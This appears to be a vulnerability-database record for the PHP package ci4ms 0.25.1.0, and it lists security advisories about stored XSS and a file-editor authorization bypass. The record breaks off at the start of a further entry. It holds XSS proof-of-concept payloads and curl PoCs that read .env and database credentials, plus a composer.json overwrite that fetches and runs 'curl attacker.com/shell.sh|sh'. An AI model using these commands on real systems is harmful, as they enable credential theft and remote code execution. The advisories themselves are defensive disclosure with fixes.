Lookup for vulnerable packages by Package URL.

Purlpkg:composer/ci4-cms-erp/ci4ms@0.25.1.0
Typecomposer
Namespaceci4-cms-erp
Nameci4ms
Version0.25.1.0
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version0.31.8.0
Latest_non_vulnerable_version0.31.8.0
Affected_by_vulnerabilities
0
url VCID-12hw-23dd-9ud8
vulnerability_id VCID-12hw-23dd-9ud8
summary
CI4MS: Methods Management Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS
## Summary  
### **Vulnerability: Stored DOM XSS via Methods Management Fields (Global Persistent Payload Execution)**  
- Stored Cross-Site Scripting via Unsanitized Method Creation and Management Inputs  
- Automatic Execution Across All Pages Where Method Is Rendered in Navigation  

## Description  
The application fails to properly sanitize user-controlled input within the **Methods Management** functionality when creating or managing application methods/pages. Multiple input fields accept attacker-controlled JavaScript payloads that are stored server-side without sanitization or output encoding.

These stored values are later rendered directly into administrative interfaces and global navigation components without proper encoding, resulting in **Stored DOM-Based Cross-Site Scripting (XSS)**.

Critically, because created methods are automatically rendered inside the system’s navigation/menu structure, the injected payload executes globally — meaning **every page visited where the malicious method appears in the menu triggers the XSS payload automatically**.

This significantly increases severity, as exploitation is not limited to a single view — it becomes a platform-wide persistent execution point.

## Affected Functionality  
- Methods creation functionality  
- Methods management and listing functionality  
- Administrative navigation rendering  
- Permission-related UI rendering  
- Global sidebar / menu rendering  
- Storage and retrieval of method-related data  

## Affected Fields  
The following fields accept unsanitized input and allow persistent JavaScript injection:
- Page Name  
- Description  
- Controller  
- Method Name  
- Seflink  
- Page Order  
- Symbol (FontAwesome 5)  
- Permissions  
- Parent Page  
- Module  

## Attack Scenario  
1. An attacker creates or edits a method.
2. The attacker injects a malicious XSS payload into any vulnerable field (e.g., Page Name).
3. The application stores the payload without sanitization or encoding.
4. The method is automatically rendered inside the application’s navigation/menu.
5. Every time any user visits any page where the menu is displayed, the malicious JavaScript executes automatically.

Because the navigation is globally rendered across backend pages, the XSS triggers on nearly every administrative page visit.

## Impact  
- Persistent Stored DOM XSS  
- Automatic execution across multiple application pages  
- Execution of arbitrary JavaScript in victims’ browsers  
- Privilege escalation when viewed by administrators  
- Full administrator account takeover  
- Full account takeover across all roles  
- Session hijacking  
- CSRF token theft  
- Complete compromise of the entire application  

This vulnerability is highly severe due to:
- Persistent storage  
- Global rendering surface  
- Automatic execution without user interaction  
- High likelihood of administrator exposure  

Endpoints:
- `/backend/methods/`  
- `/backend/methods/create`  

## Steps To Reproduce (POC)  
1. Navigate to Methods Management → Create Method  
2. Insert the following payload into Page Name (or any vulnerable field):  
`<img src=x onerror=alert(document.domain)>`  
3. Save the method  
4. Navigate to any backend page  
5. Observe the payload executing automatically wherever the malicious method appears in the menu  
6. The XSS triggers across all pages where the navigation is rendered.

## Remediation  
- Never use `.html()`, `innerHTML`, or equivalent unsafe DOM sinks with untrusted data  
- Implement strict output encoding (HTML entity encoding) before rendering user input  
- Apply server-side input validation and sanitization  
- Use contextual escaping depending on rendering context (HTML, attribute, JS, URL)  
- Implement a strong Content Security Policy (CSP)  
- Set cookies with HttpOnly, Secure, and SameSite flags  
- Perform security review of all navigation rendering logic  

Failure to properly encode and sanitize user-controlled method fields results in full application compromise through persistent global XSS.

# Ready Video POC:
https://mega.nz/file/CFsiQAJS#cBSF2lCMD7YNZEKYEjw3T8YturY92oBvrdRQ08gmw2A
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-34558
reference_id
reference_type
scores
0
value 0.00021
scoring_system epss
scoring_elements 0.06184
published_at 2026-06-05T12:55:00Z
1
value 0.00025
scoring_system epss
scoring_elements 0.07274
published_at 2026-06-09T12:55:00Z
2
value 0.00025
scoring_system epss
scoring_elements 0.07329
published_at 2026-06-06T12:55:00Z
3
value 0.00025
scoring_system epss
scoring_elements 0.07305
published_at 2026-06-07T12:55:00Z
4
value 0.00025
scoring_system epss
scoring_elements 0.07262
published_at 2026-06-08T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-34558
1
reference_url https://github.com/ci4-cms-erp/ci4ms
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms
2
reference_url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-v77r-xg3p-75g7
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
2
value CRITICAL
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-31T15:25:04Z/
url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-v77r-xg3p-75g7
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-34558
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-34558
4
reference_url https://github.com/advisories/GHSA-v77r-xg3p-75g7
reference_id GHSA-v77r-xg3p-75g7
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-v77r-xg3p-75g7
fixed_packages
0
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2v9s-x9dt-8ugb
1
vulnerability VCID-6nzs-j8gz-9ucu
2
vulnerability VCID-8x3z-1p5j-6qfa
3
vulnerability VCID-c1ux-y4qk-xfch
4
vulnerability VCID-e9xp-rar3-c7bp
5
vulnerability VCID-fjcm-syrk-87fg
6
vulnerability VCID-j32w-tcpz-1fak
7
vulnerability VCID-mds3-7xh3-mkgv
8
vulnerability VCID-p1q2-w18a-3kae
9
vulnerability VCID-qrag-mndk-xbb7
10
vulnerability VCID-ux28-acyz-kqd1
11
vulnerability VCID-w12h-33nr-bufh
12
vulnerability VCID-ye3h-3tu7-p3e7
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
1
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0%252B0
aliases CVE-2026-34558, GHSA-v77r-xg3p-75g7
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-12hw-23dd-9ud8
1
url VCID-2kn3-qswm-p3ck
vulnerability_id VCID-2kn3-qswm-p3ck
summary
CI4MS: Blogs Posts Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS
## Summary
### **Vulnerability: Stored DOM XSS via Blog Post Content (Persistent Payload Injection)**
- Stored Cross-Site Scripting via Unsanitized Blog Post Content in Blog Management

### Description
The application fails to properly sanitize user-controlled input when creating or editing blog posts. An attacker can inject a malicious JavaScript payload into blog post content, which is then stored server-side.

This stored payload is later rendered unsafely in multiple application views without proper output encoding, leading to stored cross-site scripting (XSS).

### Affected Functionality
- Blog post creation functionality
- Blog post editing functionality
- Blog post storage and retrieval logic

### Attack Scenario
- An attacker creates or edits a blog post to include a malicious XSS payload.
- The application stores this content without sanitization or encoding.
- The payload persists and executes whenever the blog post is rendered in affected views.

### Impact
- Persistent Stored XSS
- Execution of arbitrary JavaScript in victims’ browsers
- Privilege escalation when viewed by administrators or privileged users
- Full administrator account takeover
- Full account takeover across all roles
- Full compromise of the entire application

Endpoints:
- `/backend/blogs/create`
- `/backend/blogs/`
- `/blog/{id}`

## Steps To Reproduce (POC)
1. Go to the Blog Post Create or Edit page
2. Insert an XSS payload into the blog post content such as:
`<img src=x onerror=alert(document.domain)>`
3. Save or publish the blog post
4. View the post via the administrative panel or public blog page
5. Notice the XSS payload executing automatically

## Remediation

- **Avoid unsafe DOM manipulation methods:** Do not use `.html()`, `innerHTML`, or similar sink functions in client-side JavaScript or server-side templating (e.g., PHP). Even when user input flowing into these sinks is not immediately apparent, they can introduce Cross-Site Scripting (XSS) vulnerabilities that an attacker may exploit.

- **Apply output encoding:** Implement HTML entity encoding on all user-controlled data before rendering it in the browser. This helps neutralize potentially malicious input.

- **Implement input sanitization:** Ensure that all user-supplied input is properly sanitized before processing or output. Currently, no sanitization mechanisms are in place, which should be addressed as a priority.

- **Enforce security headers and cookie attributes:**
  - **Content Security Policy (CSP):** Define and enforce a strict CSP to limit the execution of unauthorized scripts.
  - **HttpOnly flag:** Set the `HttpOnly` attribute on session cookies to prevent client-side script access.
  - **SameSite attribute:** Configure the `SameSite` cookie attribute to mitigate Cross-Site Request Forgery (CSRF) risks.
  - **Secure flag:** Ensure all cookies are transmitted only over HTTPS by enabling the `Secure` attribute.

  These measures collectively reduce the impact of XSS and help prevent escalation paths such as CSRF via XSS.

# Ready Video POC:
 https://mega.nz/file/bYtCQRqT#ph1S_01XaYXiNTzanP3AVL6aQMe0YC5Py7Gko1FoT4A
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-34568
reference_id
reference_type
scores
0
value 0.00018
scoring_system epss
scoring_elements 0.05058
published_at 2026-06-05T12:55:00Z
1
value 0.00018
scoring_system epss
scoring_elements 0.05035
published_at 2026-06-07T12:55:00Z
2
value 0.00018
scoring_system epss
scoring_elements 0.05043
published_at 2026-06-06T12:55:00Z
3
value 0.00021
scoring_system epss
scoring_elements 0.06105
published_at 2026-06-09T12:55:00Z
4
value 0.00021
scoring_system epss
scoring_elements 0.06082
published_at 2026-06-08T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-34568
1
reference_url https://github.com/ci4-cms-erp/ci4ms
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms
2
reference_url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-02T13:51:46Z/
url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0
3
reference_url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-x7wh-g25g-53vg
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
2
value CRITICAL
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-02T13:51:46Z/
url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-x7wh-g25g-53vg
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-34568
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-34568
5
reference_url https://github.com/advisories/GHSA-x7wh-g25g-53vg
reference_id GHSA-x7wh-g25g-53vg
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-x7wh-g25g-53vg
fixed_packages
0
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2v9s-x9dt-8ugb
1
vulnerability VCID-6nzs-j8gz-9ucu
2
vulnerability VCID-8x3z-1p5j-6qfa
3
vulnerability VCID-c1ux-y4qk-xfch
4
vulnerability VCID-e9xp-rar3-c7bp
5
vulnerability VCID-fjcm-syrk-87fg
6
vulnerability VCID-j32w-tcpz-1fak
7
vulnerability VCID-mds3-7xh3-mkgv
8
vulnerability VCID-p1q2-w18a-3kae
9
vulnerability VCID-qrag-mndk-xbb7
10
vulnerability VCID-ux28-acyz-kqd1
11
vulnerability VCID-w12h-33nr-bufh
12
vulnerability VCID-ye3h-3tu7-p3e7
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
1
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0%252B0
aliases CVE-2026-34568, GHSA-x7wh-g25g-53vg
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-2kn3-qswm-p3ck
2
url VCID-2v9s-x9dt-8ugb
vulnerability_id VCID-2v9s-x9dt-8ugb
summary
CI4MS has a Hidden Items Authorization Bypass in Fileeditor Allows Reading Secrets and Writing Protected Files
## Summary

The Fileeditor controller defines a `hiddenItems` array containing security-sensitive paths (`.env`, `composer.json`, `vendor/`, `.git/`) but only enforces this protection in the `listFiles()` method. The `readFile()`, `saveFile()`, `deleteFileOrFolder()`, `renameFile()`, `createFile()`, and `createFolder()` endpoints perform no hidden items validation, allowing direct API access to files that are intended to be protected. A backend user with only `fileeditor.read` permission can exfiltrate application secrets from `.env`, and a user with `fileeditor.update` permission can overwrite `composer.json` to achieve remote code execution.

## Details

The `hiddenItems` array is defined at `modules/Fileeditor/Controllers/Fileeditor.php:10-26`:

```php
protected $hiddenItems = [
    '.git', '.github', '.idea', '.vscode',
    'node_modules', 'vendor', 'writable',
    '.env', 'env', 'composer.json', 'composer.lock',
    'tests', 'spark', 'phpunit.xml.dist', 'preload.php'
];
```

This array is checked **only** in `listFiles()` at lines 45-48 and 64:

```php
// Line 45-48 - path component check
foreach ($pathParts as $part) {
    if (in_array($part, $this->hiddenItems)) {
        return $this->failForbidden();
    }
}
// Line 64 - directory listing filter
if (in_array($name, $this->hiddenItems)) continue;
```

However, `readFile()` (line 76) performs **neither** a `hiddenItems` check **nor** an `allowedFileTypes()` check:

```php
public function readFile()
{
    // ... validation ...
    $path = $this->request->getVar('path');
    $fullPath = realpath(ROOTPATH . $path);
    if (!$fullPath || !is_file($fullPath) || strpos($fullPath, realpath(ROOTPATH)) !== 0) {
        return $this->response->setJSON(['error' => '...'])->setStatusCode(400);
    }
    return $this->response->setJSON(['content' => file_get_contents($fullPath)]);
}
```

This means any file within ROOTPATH — regardless of extension (`.php`, `.env`, etc.) — can be read by any user with the `fileeditor.read` permission.

Similarly, `saveFile()` (line 92) checks `allowedFileTypes()` but not `hiddenItems`. Since `json` is in `$allowedExtensions`, `composer.json` (which is explicitly in `hiddenItems`) can be overwritten:

```php
protected $allowedExtensions = ['css', 'js', 'html', 'txt', 'json', 'sql', 'md'];
```

`deleteFileOrFolder()` (line 194) checks neither `hiddenItems` nor `allowedFileTypes()`.

**Compounding factor:** CSRF protection is disabled for all fileeditor routes in `modules/Fileeditor/Config/FileeditorConfig.php:7-10`:

```php
public $csrfExcept = [
    'backend/fileeditor',
    'backend/fileeditor/*',
];
```

This means the write and delete operations are additionally vulnerable to cross-site request forgery if an authenticated user visits a malicious page.

## PoC

Requires an authenticated backend session with `fileeditor.read` permission granted.

**Step 1: Read .env file to extract secrets**
```bash
curl -s -b 'ci_session=<valid_session_cookie>' \
  'https://target.com/backend/fileeditor/read?path=/.env'
```
Expected response: JSON containing `.env` file contents including database credentials, encryption keys, and other secrets.

**Step 2: Read PHP configuration files**
```bash
curl -s -b 'ci_session=<valid_session_cookie>' \
  'https://target.com/backend/fileeditor/read?path=/app/Config/Database.php'
```
Expected response: Full database configuration PHP source with credentials (note: `readFile()` has no `allowedFileTypes` check, so `.php` files are readable).

**Step 3: Overwrite composer.json for RCE (requires `fileeditor.update` permission)**
```bash
curl -s -b 'ci_session=<valid_session_cookie>' \
  -X POST 'https://target.com/backend/fileeditor/save' \
  -d 'path=/composer.json' \
  -d 'content={"scripts":{"post-install-cmd":"curl attacker.com/shell.sh|sh"}}'
```
The next `composer install` or `composer update` executes the attacker's script.

**Step 4: Delete .env (requires `fileeditor.delete` permission)**
```bash
curl -s -b 'ci_session=<valid_session_cookie>' \
  -X POST 'https://target.com/backend/fileeditor/deleteFileOrFolder' \
  -d 'path=/.env'
```

## Impact

- **Credential disclosure:** Any backend user with `fileeditor.read` permission can read `.env` (database passwords, encryption keys, API secrets, mail credentials) and any PHP configuration file regardless of extension restrictions.
- **Remote code execution:** A user with `fileeditor.update` permission can overwrite `composer.json` with malicious composer scripts that execute on the next `composer install/update`.
- **Denial of service:** A user with `fileeditor.delete` permission can delete `.env` or other critical configuration files, causing application failure.
- **False security boundary:** Administrators who configure `fileeditor.read` as a limited permission for content editors are unknowingly granting access to all application secrets, since the `hiddenItems` protection only affects the UI file tree, not the API.

## Recommended Fix

Apply `hiddenItems` validation to all endpoints that accept a `path` parameter. Extract the check into a reusable method and also add `allowedFileTypes` to `readFile()`:

```php
// Add this method to the Fileeditor controller
private function isHiddenPath(string $path): bool
{
    $pathParts = explode('/', trim($path, '/'));
    foreach ($pathParts as $part) {
        if (in_array($part, $this->hiddenItems)) {
            return true;
        }
    }
    return false;
}

// Then add to readFile(), saveFile(), renameFile(), createFile(), 
// createFolder(), and deleteFileOrFolder():
if ($this->isHiddenPath($path)) {
    return $this->failForbidden();
}

// Additionally, add allowedFileTypes check to readFile():
if (!$this->allowedFileTypes($fullPath)) {
    return $this->failForbidden();
}
```

Also re-enable CSRF protection by removing the CSRF exemption in `FileeditorConfig.php` (lines 7-10) and ensuring the frontend sends CSRF tokens with requests.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-39389
reference_id
reference_type
scores
0
value 0.00025
scoring_system epss
scoring_elements 0.07406
published_at 2026-06-07T12:55:00Z
1
value 0.00025
scoring_system epss
scoring_elements 0.07373
published_at 2026-06-09T12:55:00Z
2
value 0.00025
scoring_system epss
scoring_elements 0.07363
published_at 2026-06-08T12:55:00Z
3
value 0.00025
scoring_system epss
scoring_elements 0.07422
published_at 2026-06-05T12:55:00Z
4
value 0.00025
scoring_system epss
scoring_elements 0.07429
published_at 2026-06-06T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-39389
1
reference_url https://github.com/ci4-cms-erp/ci4ms
reference_id
reference_type
scores
0
value 6.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms
2
reference_url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0
reference_id
reference_type
scores
0
value 6.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0
3
reference_url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-9rxp-f27p-wv3h
reference_id
reference_type
scores
0
value 6.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-10T20:28:40Z/
url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-9rxp-f27p-wv3h
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-39389
reference_id
reference_type
scores
0
value 6.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-39389
5
reference_url https://github.com/advisories/GHSA-9rxp-f27p-wv3h
reference_id GHSA-9rxp-f27p-wv3h
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-9rxp-f27p-wv3h
fixed_packages
0
url pkg:composer/ci4-cms-erp/ci4ms@0.31.4.0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.4.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-cd9w-5f22-xkfk
1
vulnerability VCID-fjcm-syrk-87fg
2
vulnerability VCID-j32w-tcpz-1fak
3
vulnerability VCID-mds3-7xh3-mkgv
4
vulnerability VCID-qrag-mndk-xbb7
5
vulnerability VCID-ux28-acyz-kqd1
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.4.0
1
url pkg:composer/ci4-cms-erp/ci4ms@0.31.4%2B0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.4%2B0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.4%252B0
aliases CVE-2026-39389, GHSA-9rxp-f27p-wv3h
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-2v9s-x9dt-8ugb
3
url VCID-4qss-f4ym-bbeh
vulnerability_id VCID-4qss-f4ym-bbeh
summary
CI4MS: Logs Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS
## Summary
### **Vulnerability: Stored DOM Blind XSS via Logs Interface Rendering (Administrative Context Execution)**
- Stored Cross-Site Scripting (Blind XSS) via Unsafe Rendering of User-Controlled Logged Data

### Description
The application renders user-controlled input unsafely within the logs interface. If any stored XSS payload exists within logged data, it is rendered without proper output encoding.

This issue becomes a Blind XSS scenario because the attacker does not see immediate execution. Instead, the payload is stored within application logs and only executes later when an administrator views the logs page.

For example, accessing `/backend/backup/restore/xss-payload-here` causes an error that gets logged by the application. If the injected portion contains an XSS payload, it is stored inside the logs without sanitization and later rendered unsafely inside the logs management interface.

When an administrator views the logs page, the stored payload executes automatically in the administrative browser context, leading to stored blind cross-site scripting (Blind XSS).

### Affected Functionality
- Application logging mechanism
- Logs storage and retrieval logic
- Logs rendering within administrative interface
- Any endpoint that logs unsanitized user-controlled input

### Attack Scenario
- An attacker injects a malicious XSS payload into any user-controlled input that is logged by the application.
- Example: Visit `/backend/backup/restore/<img src=x onerror=alert(document.domain)>`
- The application throws an error and logs the malicious payload.
- The payload is stored within application logs.
- An administrator views the logs interface.
- The payload executes automatically in the administrator’s browser context.

Any method or endpoint that logs user-controlled input without sanitization will result in the same Blind XSS condition when viewed inside logs management.

### Impact
- Persistent Stored Blind XSS
- Execution of arbitrary JavaScript in administrators’ browsers
- Privilege escalation when viewed by administrators
- Full administrator account takeover
- Full compromise of the entire application

Endpoints:
- `/backend/logs/`
- `/backend/backup/restore/{payload}`
- Any other endpoint that logs xss payloads there

## Steps To Reproduce (POC)
1. Trigger an endpoint that logs user-controlled input, such as:
   `/backend/backup/restore/<img src=x onerror=alert(document.domain)>`
2. Ensure the request generates an error and the payload is written into application logs
3. Navigate to the logs interface as an administrator
4. View the logged entry
5. Notice the XSS payload executing automatically (Blind XSS)

## Remediation

- **Avoid unsafe DOM manipulation methods:** Do not use `.html()`, `innerHTML`, or similar sink functions in client-side JavaScript or server-side templating (e.g., PHP). Even when user input flowing into these sinks is not immediately apparent, they can introduce Cross-Site Scripting (XSS) vulnerabilities that an attacker may exploit.

- **Apply output encoding:** Implement HTML entity encoding on all user-controlled data before rendering it in the browser. This helps neutralize potentially malicious input.

- **Implement input sanitization:** Ensure that all user-supplied input is properly sanitized before processing or output. Currently, no sanitization mechanisms are in place, which should be addressed as a priority.

- **Enforce security headers and cookie attributes:**
  - **Content Security Policy (CSP):** Define and enforce a strict CSP to limit the execution of unauthorized scripts.
  - **HttpOnly flag:** Set the `HttpOnly` attribute on session cookies to prevent client-side script access.
  - **SameSite attribute:** Configure the `SameSite` cookie attribute to mitigate Cross-Site Request Forgery (CSRF) risks.
  - **Secure flag:** Ensure all cookies are transmitted only over HTTPS by enabling the `Secure` attribute.

  These measures collectively reduce the impact of XSS and help prevent escalation paths such as CSRF via XSS.
# Ready Video POC:
https://mega.nz/file/jRN3nDSR#wJCwyFhbeT-OYAwlaTD_7j6wc5wRgz1EGJL0bnuhHxY
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-34560
reference_id
reference_type
scores
0
value 0.00022
scoring_system epss
scoring_elements 0.06563
published_at 2026-06-05T12:55:00Z
1
value 0.00022
scoring_system epss
scoring_elements 0.06551
published_at 2026-06-07T12:55:00Z
2
value 0.00022
scoring_system epss
scoring_elements 0.06562
published_at 2026-06-06T12:55:00Z
3
value 0.00026
scoring_system epss
scoring_elements 0.07718
published_at 2026-06-09T12:55:00Z
4
value 0.00026
scoring_system epss
scoring_elements 0.07704
published_at 2026-06-08T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-34560
1
reference_url https://github.com/ci4-cms-erp/ci4ms
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms
2
reference_url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-02T13:58:43Z/
url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0
3
reference_url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-r4v5-rwr2-q7r4
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
2
value CRITICAL
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-02T13:58:43Z/
url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-r4v5-rwr2-q7r4
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-34560
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-34560
5
reference_url https://github.com/advisories/GHSA-r4v5-rwr2-q7r4
reference_id GHSA-r4v5-rwr2-q7r4
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-r4v5-rwr2-q7r4
fixed_packages
0
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2v9s-x9dt-8ugb
1
vulnerability VCID-6nzs-j8gz-9ucu
2
vulnerability VCID-8x3z-1p5j-6qfa
3
vulnerability VCID-c1ux-y4qk-xfch
4
vulnerability VCID-e9xp-rar3-c7bp
5
vulnerability VCID-fjcm-syrk-87fg
6
vulnerability VCID-j32w-tcpz-1fak
7
vulnerability VCID-mds3-7xh3-mkgv
8
vulnerability VCID-p1q2-w18a-3kae
9
vulnerability VCID-qrag-mndk-xbb7
10
vulnerability VCID-ux28-acyz-kqd1
11
vulnerability VCID-w12h-33nr-bufh
12
vulnerability VCID-ye3h-3tu7-p3e7
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
1
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0%252B0
aliases CVE-2026-34560, GHSA-r4v5-rwr2-q7r4
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-4qss-f4ym-bbeh
4
url VCID-6nzs-j8gz-9ucu
vulnerability_id VCID-6nzs-j8gz-9ucu
summary
